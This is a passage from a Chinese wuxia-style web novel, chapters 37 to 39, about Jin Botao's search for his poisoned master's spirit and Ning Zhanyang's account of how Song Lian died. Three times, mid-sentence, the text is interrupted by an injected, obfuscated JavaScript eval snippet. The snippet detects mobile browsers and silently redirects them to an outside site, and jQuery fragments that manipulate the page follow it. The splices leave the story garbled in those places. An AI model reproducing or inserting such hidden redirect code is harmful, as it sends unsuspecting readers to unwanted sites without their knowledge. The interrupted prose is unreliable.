八角井下传来指引,金伯涛磕了几个响头,便出发了。只是他没想到,养伤的这十几年,人间早已变了模样,没过多久,魔都祸世,明逸身死,天下正道捐躯赴难,死伤无数,大小宗门一蹶不振者,不计其数。 “我也回不去听海崖了,便一直留在了五柳山庄。” 金伯涛看向尹晓棠,小姑娘红着眼眶,一言不发。 37. 第 37 章 “你一定很难过吧,晓棠。” 金伯涛只是这么说着,没有道歉,他不觉得这是他的错,要怪,就只能怪这造化弄人。 李闻棋身死,他陷入地宫,被李见尘所救,昏迷十几年,直到在幽暗的药池将他所中剧毒完全吸收,他才算清醒过来。直到那时,他才第一次清晰地听见李见尘的声音。 几乎和李闻棋一模一样。 可惜,那语调中还是多有轻狂,不似他师父那般温和。 金伯涛当即便落下泪来,一点都没有怀疑对方的身份,一个劲儿地磕头,求着这位素未谋面的祖师爷为师父报仇。可幽幽的地宫之内,八角井下只传来一个指令——去北方。 金伯涛义无反顾地出发了。哪怕他重伤初愈,哪怕他年少多疾,他最终还是抵达了五柳山庄,拜入了那盛极一时的宗门。可他并不知道,那时候,距离魔都祸世已不足三月。他这个初入门内的弟子,还未能见到当时的五柳山庄庄主明逸,就被迫卷入了乱世之中。这场猝不及防的,足以撼动乾坤的洪流,虽以正道险胜为结局,却仍是给这天地带来了难以逆转的冲击。 明逸身死,五柳山庄江河日下,手足相残,门生凋敝。金伯涛在这里蹉跎着,既没能成为北地一等一的高手,也没能为师父报仇。在度过无数个辗转反侧的深夜后,他最终决定离开五柳山庄,独自潜回听海崖,伺机刺杀黎思之。他从五柳山庄带回了一把长弓,一袋羽箭,准备奋力一搏,可在他动手前,他又收到了久未露面的祖师爷的消息。 对方让他去宋家当护卫。 听到这熟悉的声音,金伯涛先是一愣:“祖师爷,您出关了吗?” “出关尚需时日,但我夜观星象,这月移星动,不久的将来,天地之间恐怕又将迎来巨变。” 那会儿,李见尘说话还算正经,不像现在这样鬼话连篇。 他告诉金伯涛,宋忱和黎思之合伙毒死李闻棋后,黎思之便继任了听海崖掌门,而宋忱则是带着林采荷、宋涟归家。 “师祖她,没有发现吗?”金伯涛是不信的,他甚至觉得李闻棋之死,是林采荷默许的,她就是帮凶,若不是做贼心虚,为何最终是黎思之夺得了掌门之位,而不是宋涟? “宋涟也死了,林采荷过于悲伤,也死了。” 李见尘淡淡地说着,他确实不知道宋涟为什么会死,但这又如何呢?他并不关心。 金伯涛心情复杂,不知该做何反应,他对宋涟的印象其实很好,因为那人性格很好,很开朗,也会一口一个灿灿,教他一些有趣的玩意儿。 但是宋涟,他毕竟是宋忱的儿子,是杀人凶手的儿子。 金伯涛不再纠结,问道:“祖师爷让我前往五柳山庄,是想让我暗杀宋忱?” “不,找到你师父。” 金伯涛更是一怔:“师父?他怎么了?” “闻棋死后,三魂七魄都失踪了,连遗躯找不见,我怀疑是宋家将他藏了起来。” 李见尘长长地叹息着:“我困于地宫,不得逃脱,你定要找到他,这时日太久,恐生异变。” “是,弟子这就去办。” 金伯涛没有踏进听海崖的山门,而是在海边的怪石上,重重磕了个头,然后便按照李见尘的指示,悄悄来到了宋家。 十几年来人间巨变,他不再是那个孱弱的小孩子,样貌身量都发生了极大的变化,已经没人会知道他了。 金伯涛去的时候,恰好这江心洲在招人,且那夜间闹鬼的事情正甚嚣尘上,他顶着五柳山庄的名头,十分顺利地进入了宋家。 他在宋家见到的第一个人,是宁展阳。 他记得这个名字,宋涟的剑侍。 宋涟还在听海崖时,身边就带着个十四五岁的少年,专门为他背负剑袋,偶尔也会为他给家里的兄弟姊妹传递书信。当时听海崖里其他弟子,也会在背地里讽刺他大少爷的做派,但这些言论都被李闻棋喝止了,宋涟也不是个爱计较的人,甚至可能都不知道这件事。 但金伯涛却一直记得宁展阳这个名字。 可是长大后第一次见面,两个人都十分陌生。 宁展阳喜欢公事公办,眼里揉不得一点沙子,这和他年少时的性格大相径庭。金伯涛还记得他背着剑袋,跟在宋涟后面,有些木讷和拘谨,偶尔叫一声两声少爷,被一些不怀好意之人嘲笑后,就只会涨红了脸,支吾半天都说不出一个字来。 长大成人的金伯涛恭恭谨谨地向宁展阳抱拳行礼:“守卫长。” “嗯。”宁展阳见他待人和气,又确实有点本事,便安排他去看守宋鸿。 金伯涛领下这个差事,可夜里回禀李见尘,对方的反应却很耐人寻味:“安排你去看守一个疯子?” “嗯。” “可这种事,不应该安排心腹去做吗?他为何要让你一个新来的去?不怕你吓跑了?又或者,把这件事捅出去?” 金伯涛默然,他也觉得奇怪,可一时半会儿也找不到合适的理由。 “也罢,你暂且不要声张,老实做事,好好找一找你师父的踪迹。” “是,祖师爷。” 金伯涛便潜伏下来,一边看守宋鸿,一边打探消息。他听说这个江心洲,每到雨夜,就会有一个鬼影在路上徘徊,可走近了,却又什么都看不到。 每个人都将这件事传得神乎其神,但一直以来,并未发生很严重的后果,因此,这也就成为了一个茶余饭后的谈资,并不让人恐惧。 但金伯涛觉得这件事不一般。 他得去见一见那个鬼影,可是一直没机会。 在等待的过程中,他听说了宋鸿的往事。那个瘦骨嶙峋的男人总是絮絮叨叨地不断重复那几件事,说宋家害了他姐姐,他要报仇,要报仇。可他那副样子,别人一拳上去,他可能就会送上半条命。 金伯涛听得耳朵都要出老茧。宋鸿甚至明里暗里套他的话,问他有没有什么术法能咒人杀人。可宋鸿问话的技巧实在拙劣,金伯涛心里都忍不住发笑,他厌恶宋家的一切,包括这个看上去很可怜的宋鸿。 生在宋家,就是一种罪。 金伯涛没有办法对宋鸿产生太多的怜悯,却还是将自己知道的东西告诉了这个人。他原以为对方翻不出什么风浪,结果却被当头打了一棍似的,吓了一跳。 宋鸿居然真的敢用劣质的蒙汗药弄晕他,居然真的敢弄死一只巡逻犬,用那狗血画符。 金伯涛其实没有晕过去,他知道宋鸿的所作所为。他只是没有想到,宋鸿的恨意竟也如此之深。 他选择默认这件事的发生,并接受了宁展阳的惩处。 被派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762395|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去干杂活的金伯涛没有再联系宋鸿。 谁会和一个疯子谈合作呢?哪怕他和自己有一样的目的,一样的仇人,但他永远不可能是一个合适的合作对象。 金伯涛又干上了洒扫庭院的活。 但这一次,他终于等到了那个鬼影现身。 滂沱大雨中,所有人都避免外出,只有金伯涛披蓑戴笠,在雨夜中寻着那哭声前进。 他见到了那个影子,尽管只有一眼,他的眼泪还是流了出来,混在冰冷的雨水中,流到他紧咬着的唇边。 “师父。” 金伯涛想追上去,那个影子却又消失得无影无踪。 他当夜便悄悄传信于李见尘,对方派了个人来协助他。那人,就是阿音。阿音金带覆眼,口衔金箔,一看就知道,她并不属于这个阳世,平日里,阿音会变成风的模样,四处游荡,不受拘束,也无人发现。李见尘的指令只有一个,就是再次遇到那个鬼影,就与阿音一道擒住。 “闻棋若是一直徘徊不去,说明一定有东西困住了他。你照我说的去做……” 金伯涛连连称是,便照着李见尘的指示,私下里继续传播着闹鬼的传言,并暗中动了些手脚,将整件事的动静闹大,最终,还是惊动了宋家的两位话事人。宋漪决定彻查此事,金伯涛便毛遂自荐,并在阿音的协助下,顺利将李闻棋的魂魄降服。 “师父。”金伯涛泪流满面,跪在地上,抱着一言不发的李闻棋失声痛哭,对方闭着眼睛,像是安静地睡着了,半点反应都没有。阿音将一根金色飘带系在了他眼睛上,并将一片金箔贴在他唇边,李见尘借此,试图将他离散的神识召回,可徒劳无功。 李闻棋身死,三魂七魄出窍,变为魂灵,一般情况下,魂灵是具有生前全部记忆和意识的,魂灵在人间徘徊越久,越容易发生异变,大多数会变成游荡的鬼,逐渐失去自我意识,其中一部分会依靠执念存在,还有一部分会直接消弭,归于天地。也有少数的魂灵在一开始就因为极重的怨气直接堕化为凶灵,重新产生新的意识,变得穷凶极恶。 李见尘一开始以为,李闻棋是去世太久,一直不得轮回,所以自我意识逐渐消散,终日在此游荡,但后来他发现,并非如此。 李闻棋是有自我意识的,且保留了生前的记忆,可无论李见尘或是金伯涛如何与他沟通,他都没有回答。 “师父,你是不是怪我来得太迟了?”金伯涛哽咽着,李见尘却不认为是这样。 “想必是有人从中作梗。” 李见尘推测,是有人将李闻棋的肉身封锁,七窍不通,才导致魂灵失去归所,既不能复生,又不得轮回,只能日复一日地游荡,且受肉身影响,魂灵也无法对外界做出反应。 但李见尘有的是办法。 金带覆眼,金箔贴唇,再以金珠为纽带,就可以对李闻棋发号施令。 金伯涛闻言,不免多了句嘴:“那阿音姑娘,为何能自由活动?” “因为阿音的身体已经消失在大海中了,她是个完完全全的魂灵,并没有肉身束缚她。” 李见尘研究过许多旁门左道,却不喜欢给人当老师,从来都点到为止,能理解的就能继续学,不能理解的就会被他抛弃。 金伯涛没有追问,只是望着熟悉又略有些陌生的师父,又一次磕了头。 38. 第 38 章 自那日起,李闻棋的魂灵便由阿音负责照顾,金伯涛并不能时常见他,大多数时候,都是由阿音负责传话,告诉他李闻棋的近况,传达李见尘下一步的指令。 金伯涛一一记下,他很快就因为解决闹鬼之事,得到了当时江心洲真正意义上的掌权者——宋漪的赏识。 “二小姐看上去,是个很端庄很娴静的一个人。” 金伯涛对她的评价,和这里的绝大多数人一模一样。可偏偏是这样一个人,在宋鸿的口中,是个杀人不眨眼的大魔头。 “你可见到那鬼怪真容了?”宋漪问他,金伯涛答道:“回二小姐的话,夜里天黑,风高雨急,属下看得不够真切,实在有违二小姐所托。” “哦,原是这样。”宋漪说话轻轻柔柔的,像春日里飘飞的柳絮,她并没有追问这件事,只叮嘱道,“你有几分本事,但切不可怠慢,你今日既是向我保证,鬼怪已除,那若是他日再有此等流言传出,我便要唯你是问。” “是,属下谨记在心。” “嗯。” 宋漪坐在高高的太师椅上,温和之中,又带着一丝古怪的冷漠,她复又说道:“你捉鬼有功,我自会向父亲回禀,该给你的赏赐一概不会少给你。” “是。” 宋漪轻轻摆手,挥退了他。金伯涛慢慢从屋内撤出来,恰好碰见了宁展阳,对方行色匆匆,并没有正眼看他。那张脸和记忆中相去甚远,金伯涛顿生恍惚。 原来时间已经过去那么久了,师父已经去世那么久了,而他还没能为他报仇。 金伯涛攥紧了指节,很快离开了这里。 不久后,他便得到消息,二小姐将他举荐给了宋忱,要他不日便去当差。 “宋忱那时候年纪就很大了,终日坐在他那张椅子上,只有一双浑浊的眼睛会动一动。” 金伯涛见宋忱第一面,就觉得对方大半个身子都入了土,浑身上下都散发着一股腐朽的气息。 偏偏宋忱也问了他同样的问题:“你可见过那个鬼影的真容?” 金伯涛又是那番说辞,宋忱听了,却当着他的面,抹了抹泪:“我的儿啊,你到死,都不肯来见为父一面。” 金伯涛记得宋涟,听到这话,心里面五味杂陈,他不知道宋涟为什么会死,但他直觉这和宋忱所做的一切逃不脱干系。 宋忱只哭了这一下,而后就没了动静。他将金伯涛留下,一步步让他成为这里的副守卫长。在这中间,宋漪也与他保持着联系。金伯涛发现,这父女二人之间,似乎有什么不可告人的秘密,而且他们之间的关系,并没有表面上那么平静。 金伯涛觉得很奇怪,可他旁敲侧击,询问了很多人,要么是不清楚,要么是没有觉得哪里不对劲。 金伯涛没有办法,最终将目标锁定在了宁展阳身上。那人身为守卫长,在宋家多年,定是知晓许多。可宁展阳远比他想象得难以接近,甚至时常在交谈中,抓到他的纰漏,金伯涛没多久便放弃了与他搭话。 转眼便又蹉跎了几年。 金伯涛既没能找到李闻棋的肉身,又没能理清其中的蹊跷。不过,他并非一无所获。他在跟踪宁展阳的过程中,发觉对方每年的八月廿七,都会在屋内焚香,放上一些供品。对此,宁展阳并没有任何隐瞒。 他说,这一天是宋涟的祭日,庄主虽说没有要求庄内所有人都祭拜,但他作为大少爷曾经的剑侍,也该顾念一些旧日情谊。因此,他在屋内烧香祭拜,可香炉对面的牌位却有很大的瑕疵,上头的名字是被匕首刻上去的,再用朱笔描摹,看上去有些粗糙。 金伯涛想了一整夜,决定从宋涟那里找到突破口。 可他也去世许久,江心洲上早已没有他的东西,那镇上的老宅更是专人把守,金伯涛只好趁着不当值的时候,偷偷潜入老宅去查探。这一来一往,又耽搁了许多日子。好在老天开眼,真让他找到了一件意料之外的东西,那就是尹晓棠在他房里发现的那张宣纸。 如李见尘所言,那并不是宣纸,是一种金石冶炼之后留下的白霜,泡水蒸干,铺平展开之后就会如宣纸那样,能当作特殊的信笺。 金伯涛不记得它的原料究竟是什么,也不记得要怎么才能在上头留下痕迹,只知道那能用来书写的笔并不一般,师父每逢收到这样的信笺,都会在屋里点起一盏香。那香是听海崖特产的碧烟琼萝的花叶制成的,香气宁静沉雅,很是安神。但若是用火灼烧,那盏香就会散发出晶莹的水汽,落到那纸上,如雾般散开,便会使字显形。 可金伯涛身上并没有这样的香,他只好再去求助李见尘。对方很快就回了信,信随春风而至,那支异香也是。 “小心些,可别弄坏了。”李见尘叮嘱着,却没有明说原因,这碧烟琼萝在听海崖并不少见,但也算不得平常之物,好像是因为它也有小毒,再往深处回忆,金伯涛就不知道了。 他如法炮制,顺利复原了那张纸上的内容。 那是一幅画。 李见尘没有说谎,纸上无字,因为它就是一幅没有文字的画。 画上三个人。 有两个,金伯涛再熟悉不过,是他的师父和宋涟。彼时二人都是风华正茂的年纪,脸上洋溢着轻快又幸福的笑容。可最后一个,金伯涛却不认得。 是个只有十一二岁的小姑娘,抱着有她半人高的剑,也在笑,看上去格外活泼可爱。 李闻棋去世时,金伯涛虽然年纪小,但也已经记事了,听海崖又不似临渊或是五柳山庄那般规模庞大,它确确实实是个偏居一隅的小宗门。金伯涛作为李闻棋的首徒,门内的每个人,他几乎日日都见,都不曾见过这个小姑娘。 金伯涛对着那幅画看了很久。 他想,这个人能和师父、宋涟画在同一幅画上,还被宋涟一直珍藏着,说不定是他的家人。 但有一点可以确认,那就是,这个小姑娘绝不可能是宋漪。因为宋漪和宋涟只差了一两岁,而画上这人,年纪相差就有些大了。 金伯涛心里忽地闪过一丝异样的感觉。 这人,会不会是宋澜? 他曾经听宋鸿说过,小时候,宁展阳曾经给宋澜送过剑谱,那么,宋涟和宋澜之间,也许是经常有联系的? 金伯涛将自己的猜测告诉了李见尘,对方的建议是,让他招魂。 “招来当事鬼问问不就好了?”李见尘原话是这样,阿音只会写字,金伯涛也想象不出对方是怎样的语气。 他照做了,但一无所获。 他以为是自己学艺不精,但后来才发现,宋澜的魂灵并不在此,可能已经投胎转世,可能已经魂飞魄散。招魂一事,很快不了了之。 …… “那,那点尘缘是怎么回事?”尹晓棠大为不解,年轻的脸上写满了愁苦,金伯涛回答道:“不清楚,我也是在祖师爷来到此地后,才被告知这件事的。” “李见尘为什么会来?他不是听海崖的祖师爷吗?请他来这儿,宋忱不就是搬起石头砸自己的脚?” 尹晓棠更是困惑。 孙雪华亦然。 他持剑抵在李见尘颈侧,面容沉素,对方却一点不怕,只是示意阿音带着李闻棋走远些。 “这我也不知道。” 李见尘说得十分坦然,他头一歪,看向孙雪华身后的宁展阳:“不过我猜,守卫长应该知道。” 宁展阳不言,李见尘却笑了:“既然守卫长不愿意说,那我便大胆猜测,你是想一网打尽吧?” “其实宋忱与宋漪,彼此之间不和已经是个众所周知的秘密,而你,则是加速了他们决裂的进程。宋忱如今大权已失,无人可倚仗,所以你才大胆进言,要他召唤我前来?” 李见尘仍是笑眯眯的:“你劝宋忱,将李闻棋的死一并算到宋漪头上,是吗?你认为我不问世事,所以不知道这些恩怨,可以任由你们拿捏?” 宁展阳闻言,冷哼一声:“想拿你当枪使的,并不是我。” “哦?” “宋忱贪生怕死,他请你来,定是冒了极大的风险,但他敢这么做,就是因为他知道,李闻棋在宋漪手上。” 宁展阳眼神狠辣,扫视着这群于他而言的不速之客,眼里的恨意仿佛要喷薄而出,化作利刃,将所有人捅个对穿。 “李闻棋身死的那个夜里,屋里除了宋忱和黎思之,还有宋漪,甚至毒死他的那碗毒药,都是宋漪亲手端过去的。” 宁展阳原本不知道这些,直到宋涟去世。 李见尘头脑稍微转一转,就知道这是怎么回事:“所以啊,你所做的一切,就是为了给宋涟报仇吧?” “大少爷不是自裁的,他本来就身体不好,是他们活活逼死他的。” 宁展阳至今都记得,宋涟躺在床上吐血的样子,那温热的发了紫的淤血泡红了大半的床褥,连床下的地板上都是。宁展阳用一条毛巾不断给他擦,可那些血就是止不住,宋涟不小心吐了他满手,淤血从指缝中淌了下去,宋涟还向他道歉:“对不起。” 宁展阳一个劲儿地摇头,可喉咙里却像压了一块铁,怎么都发不出声音。他想背上宋涟,带他去找大夫,对方却制止了他,轻轻地笑了笑:“别去,别去。” 宁展阳那会儿也年轻,和尹晓棠差不多大,没见过什么人,在短暂的前半生里,他的世界就只有宋涟一个人。 “少爷,少爷。”宁展阳想劝他,可怎么都劝不住,宋涟脸色惨白,嘴上毫无血色,哽咽着:“我要是死了,你就一把火把我烧了,然后一个人离开这儿,知道吗?” 宁展阳还是摇头,眼泪就涌了出来,抱着他嚎啕大哭,宋涟见状,不声不响地推了推他:“我身上脏,别哭了。” 可宁展阳没有听,仍是哭得肝肠寸断,宋涟没有办法,便摸了摸他的头,哄道:“哭吧哭吧,没事儿,你要想留下,便留下,要是真的走不了,哪天来奈何桥下寻我,我也认你。” 他说着这些话,和平时没有两样,可他说完,就闭上了眼睛,再也没有醒来。这个江心洲,静悄悄的,一个人都没来。 宁展阳守着他,直到他的身体变冷变硬,宋漪和宋忱才先后踏进了这个屋。 “哥!” “儿啊!” 一声又一声,这会儿两个人倒是哭得比谁都伤心,一个哭自己白发人送黑发人,一个哭自己没能照顾好大哥。 只有宁展阳没有哭。他好像把眼泪流尽了,呆呆地坐着,眼神空洞无神,有个和他认识的小仆役来拉他,他才忽地动了动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他毕生都在追求所谓的长生不老之术,为此求娶了林采荷,生了一双儿女。可这个儿子,宋涟,养在听海崖,和李闻棋一道长大,竟是个心性纯良之人,并不热衷于那或有或无的成仙之道。宋忱对此极为不满,多次敲打,可宋涟并不在意,反过来劝他,修行之奥妙,在于精神永存,而不在□□永续。 父子之间日渐生了嫌隙。可宋涟没有发现,彼时的他正少年意气,正是踌躇满志的时候,丝毫没有意识到父亲对他的怨念。 可小他几岁的宁展阳却看出来了。 也许是从小寄人篱下的经历,使得宁展阳更懂得察言观色,他早早看出来宋忱对宋涟的不满,他由衷地担心起来,他劝宋涟不要再和宋忱起冲突,可对方并没有放在心上,只道:“古往今来,父子之间有观念上的冲突很常见,这有什么的?你不要太担心了,阳阳。” 宋涟叫他阳阳,就像李闻棋叫自己徒弟灿灿那样。 可宁展阳又不是七八岁的小孩子,他已经是个少年人了,对任何事情都有自己的看法。他直觉宋忱不简单,可劝到最后,宋涟一句“虎毒不食子”还是让他沉默了。 的确,虎毒不食子。 宁展阳喃喃着:“少爷,在我心里,你就是我的天。” 没有谁会希望天塌了。 宋涟愣了愣,听出了他的弦外之音,笑着:“你放宽心吧,天不会塌的。” 宁展阳点点头,他从记事起就在宋家干杂活,不知父母名姓,时常遭人殴打,若不是宋涟将他带在身边,他还不知能不能活到这个年纪。 所以宋涟就是他的天,他的乾坤,他的日月,是万万不能有事的。 可李闻棋的去世,给了宋涟一记重击。 他哭得撕心裂肺,没多久就病了。宁展阳心急如焚,终日守着他,却不见对方有一丝好转。而听海崖的掌门之位,因为宋涟的病倒,最后落入黎思之手中。 “不成器的东西!”宋忱在宋涟病榻前,狠狠踢了一脚那床板,听得站在一边的宁展阳胆战心惊。 宋涟微闭着眼,没有回应,宋忱便对宁展阳耳提面命:“照顾好少爷,要是他好不了,你也给我一起陪葬!” “是。” 宁展阳不觉得害怕,他的天若是塌了,他还有什么盼头?还活下去做什么呢?不如一起做了一抔黄土,倒也落得个干净。 可宋涟却觉得对不起他,待宋忱走后,对他说:“连累你了,对不起。” “少爷,你不要把所有事都揽在你身上,这不是你的错。”宁展阳劝慰着,“有些人有些事,不是我们能左右的,你放过自己吧,李师兄在天之灵,也不愿意你这样。” 宁展阳和宋涟一样,都称呼李闻棋为李师兄,因为宋涟觉得这样亲切,不至于生分。 可如今听在耳里,落在心上,宋涟却心痛得厉害:“阳阳,我觉得师兄的死,不是一个意外,可是我不敢去追查。” 他心有所感,又和李闻棋一样,到死都不敢相信自己的父亲是如此心狠手辣之人。 宁展阳劝道:“少爷,不想追查就不追查了,你先养好身体,等哪天你想明白了,再去寻找真相也不迟。” 宋涟忽地呜咽起来,宁展阳抱着他,轻轻拍拍他的背,不敢再多言。 这件事本来可以到此为止的。 如果宋漪没有发疯,将李闻棋的尸身带回来的话。 39. 第 39 章 那天同样是个暴雨如注的夜晚。 宁展阳记得的,他去给宋涟送药,对方却不在屋内。他陡然感到一阵恐惧,忙跑着去找人。 大雨冲刷了一切痕迹,天黑黢黢的,伸手不见五指。可也许是上天垂怜,他偶遇一队巡逻的护卫,但那个时辰推算,并不是他们巡逻。宁展阳立马反应过来,静悄悄跟了过去。 他看到宋涟与宋漪起了争执。 “要不是你,要不是为了你!李闻棋怎么会死!他是被你害死的你还不明白吗?” 宋漪撕下了平日里温和的表皮,在一群人的簇拥下,大声呵斥着她的兄长。 宋涟像是受了极大的惊吓,跪坐在地,捂着耳朵,大声叫着:“不是的!不是这样的,不是这样的!!” “就是这样的。” 宋漪冷冷的,命人扒开他的手,将他按在地上,冰冷的雨水冲刷着他苍白的脸,毫无生气可言。 “为了你能当上听海崖掌门,父亲就选择毒死了李闻棋。”宋漪蹲下身,拨开他额前的碎发,“哥,他们都是为了你,为了你能有远大前程,不惜成为了杀人凶手。” “不是的,不是这样的。”宋涟低声哭叫着,他奋力挣扎起来,朝着一边黑色的棺椁爬去,“师兄,师兄,你起来啊,你告诉我这不是真的,这不是真的。” “这就是真的,我当时就在那个屋里,亲眼看着李闻棋死的。” 宋漪起了身,背过手去,像一个高高在上的胜利者,低头看着狼狈的宋涟:“就是因为你,他才不得不死,也是因为你,我也成为了帮凶。” “这一切都是因为你啊,我的好哥哥。” 一道大雷轰鸣而下。 宁展阳眼睁睁地看着宋涟慢慢停止了挣扎,倒在了滂沱大雨中。宋漪扬长而去,那车轮在地上留下深深的辙痕,可很快就被善后的仆从抹平,不见踪影。 他们很快就消失了。 宁展阳从一边的草丛里冲了出来,背起昏迷的宋涟,要带他去求医。他狂奔到了渡口,却怎么都找不到船,那呼啸的狂风暴雨席卷了整个江面,江水滔滔,汹涌不绝。整个江心洲好像一座孤岛,而他们,就是一叶摇摇欲坠的扁舟。 宁展阳绝望地在江边狂奔,试图找到一艘船只,可惜没有。宋涟昏昏沉沉地醒来,在他耳边低语:“回去吧,我们回去吧。” 宁展阳深知,此刻回去,就只有死路一条,无论如何他都要拼出一条生路来,哪怕是赌上这条命。可宋涟却一遍又一遍地劝说他,回去吧,快回去。 没有一艘船在岸边,江水就这样轻而易举地阻断了一切生机。 宁展阳背着宋涟冲回屋内,给他把身上擦干,换了干净的衣物,塞进了被窝里。然后他去烧了些热水,给宋涟祛寒,他祈祷着宋涟不要被这场暴雨击垮,祈祷着这人能挺过今晚。 可是并没有。 甚至无人来问罪。 宁展阳想过很多个可能,唯独没有想过,他们会被遗忘,好像所有人都在等待着宋涟的死亡,等着他静悄悄地、不声不响地死去。 宁展阳要去求宋忱,但被告知对方此刻并不在江心洲,而是外出谈生意去了,他也想过要带着宋涟去镇上求医,可是连着几日竟无船靠岸,他甚至去求宋漪,对方却说近日染了风寒,要多多休息,闭门不见。 宁展阳跪在地上,求着那院子里的护卫,放他进去,可对方却踹了他一脚:“滚滚滚,二小姐说了谁也不见。” “可是少爷病了,他会死的!” “死了不是更好?”那人嗤笑着,“你傻啊,这江心洲,马上就是二小姐的囊中之物,谁管你们的死活?” 宁展阳眼底闪过一丝怨毒,他猛地跳起来,和那个出言不逊的护卫扭打在了一起。他跟在宋涟身后学过剑,此刻更是发了狠,双目猩红,打得对方满地找牙。那人见势不妙,忙大喊着人来帮忙,宁展阳寡不敌众,只好往回逃。那些人追着他,倾巢而出,宁展阳跑到一半,从墙缝里钻了过去,暂时逃开了他们的追捕。 “呜呜呜……” 宁展阳捂着嘴,边哭边往回跑,他怕有人会对宋涟不利,他急冲冲地往回赶,却意外撞见了宋澜。 那姑娘年纪还小,才十四五岁,宁展阳给她送过剑谱,也算是和她认识。 宋澜明显是偷偷跑来的,听到动静,吓了一大跳,顿时拔剑相向,见到是宁展阳,她才突然松了一口气似的,收回了剑。 宁展阳看着她,心里五味杂陈,可他没说什么,只是径直走到宋涟床前,悄悄坐了下来。 宋澜欲言又止,可最终,她一言未发,就离开了这里。 宁展阳对宋澜的印象很少,只知道她是宋忱的小老婆生的女儿,平常和宋漪养在一块。宋澜和宋漪不一样,她很有天赋,剑谱几乎看一眼就会,性格也很开朗,宋涟其实很喜欢她,在听海崖的时候,偶尔会托宁展阳回来,给她一两本剑谱照着学。 但这是不被允许的。 此时的宁展阳并不清楚宋忱在外头搞了哪些花样,他只觉得宋澜不该来这里,他不知道要怎么面对这个人,以何种面目,何种心情。他攥紧了拳头,手上、脸上全是和人扭打后留下的淤青,可他又不曾感到痛,他想,也许该来的,终究要来的。 宋涟没有从那场暴雨中活下来。 他犹如一棵新长成的树木,迅速在风雨摧折下枯萎了。 宁展阳知道自己救不了他,只是哭,不停地哭,仿佛要把这一生的眼泪全部流尽,如此,他就能放心地去复仇。 宁展阳在灵堂前长跪不起。宋漪似乎在看他,可等他看去,宋漪却又在掩面哭泣。 不知道在哭什么。 好可笑。 宁展阳想着,自己却先笑了出来,好在这灵堂之上,没人注意到他。 宋涟死后,林采荷也受不了这样的打击,故去了。经历了这一连串的变故,宋忱忽然像变了一个人似的,终日待在他那个院里,焚香祷告,绝大多数人都以为他是悲伤过度。 可宁展阳却很清楚,他是怕死。 林采荷一死,他机关算尽,毁于一旦,恐怕永远都得不到那长生不老的秘术。 “展阳,你过来。”宋忱将他调到了身边,轻声细语地问他,“涟儿走之前,有没有和你说什么?” “大少爷走之前,要我尽心侍奉您,他希望您不要伤心过度,好好活着。” 宁展阳给宋忱磕头,垂垂老矣的男人坐在上位,似乎格外悲伤:“原来是这样,那今后,你便在我这边当值吧。” “是。” 宁展阳再拜,神色没有任何波动。 在他成为宋忱院中护卫之后,宋漪那边并没有动作,那位二小姐好像势在必得,完全不在意他这样的蝼蚁。 宁展阳就勤勤恳恳地工作,等待着复仇的机会。 这个机会的开端,却是宋澜的死亡。 宁展阳怎么都没有想到她会死,死在江边上,在那个渡口旁。 他被带到宋漪面前的时候,那人像是刚哭了一阵,眼圈都是红的。 “澜妹走了。”宋漪哭哭啼啼的,格外伤心似的,宁展阳不太清楚,依旧恭恭敬敬地劝了几句:“二小姐节哀。” 可没想到,宋漪却问他:“展阳,哥哥走之前,有没有和你说过什么?” 此话一出,宁展阳仿佛被人当头打了一闷棍,那强烈的恨意几乎要压不住。 所有人,所有人都在追着这个所谓的长生不老之术,害死了他的少爷,害得他的天塌了,什么都没有了。 宁展阳沉默片刻,摇了摇头,宋漪忽地抓住他的肩膀,轻声哄着:“展阳,你听我说,哥哥的死不是意外。” 宁展阳微微瞪大了眼睛,尽管他都知道,可现在,他只能装聋作哑。 宋漪忙不迭说道:“李闻棋李师兄,是被父亲毒死的,哥哥接受不了这个事实,所以才突然去世的。” 宁展阳紧抿着唇,一脸痛苦。 “父亲为了追求长生,已经走火入魔了。你听我的,我们要阻止他。” 宋漪说着说着,就跟发了疯一样,死死掐着他,“所以你告诉我,哥哥走之前,有没有和你交代什么?他有没有告诉你,听海崖有个法阵,据说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762397|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以缚灵铸器,只要器物有灵,便能威力百倍。” 宁展阳一愣,仍是摇了摇头。 宋漪还在哄骗他:“没事的,展阳,你告诉我,我不会说出去的。你跟了哥哥这么久,一直在听海崖生活,怎么会什么都不知道呢?父亲走火入魔了,我又没有修为,什么都不会,根本阻止不了他,我们只有同心协力,造成一把最锋利的剑,这样我们就能成功了,你说对不对?” 宁展阳很错愕,他确实见过这个术法,李闻棋会这个,但这个很难,普通人根本驾驭不了,甚至可能会遭到反噬。 宁展阳仍是摇头,宋漪急了眼,打了他一巴掌。脸上火辣辣的刺痛传来,宁展阳却十分麻木,他没有想到宋澜的死会对宋漪造成这样的冲击,很怪,实在是太奇怪了。 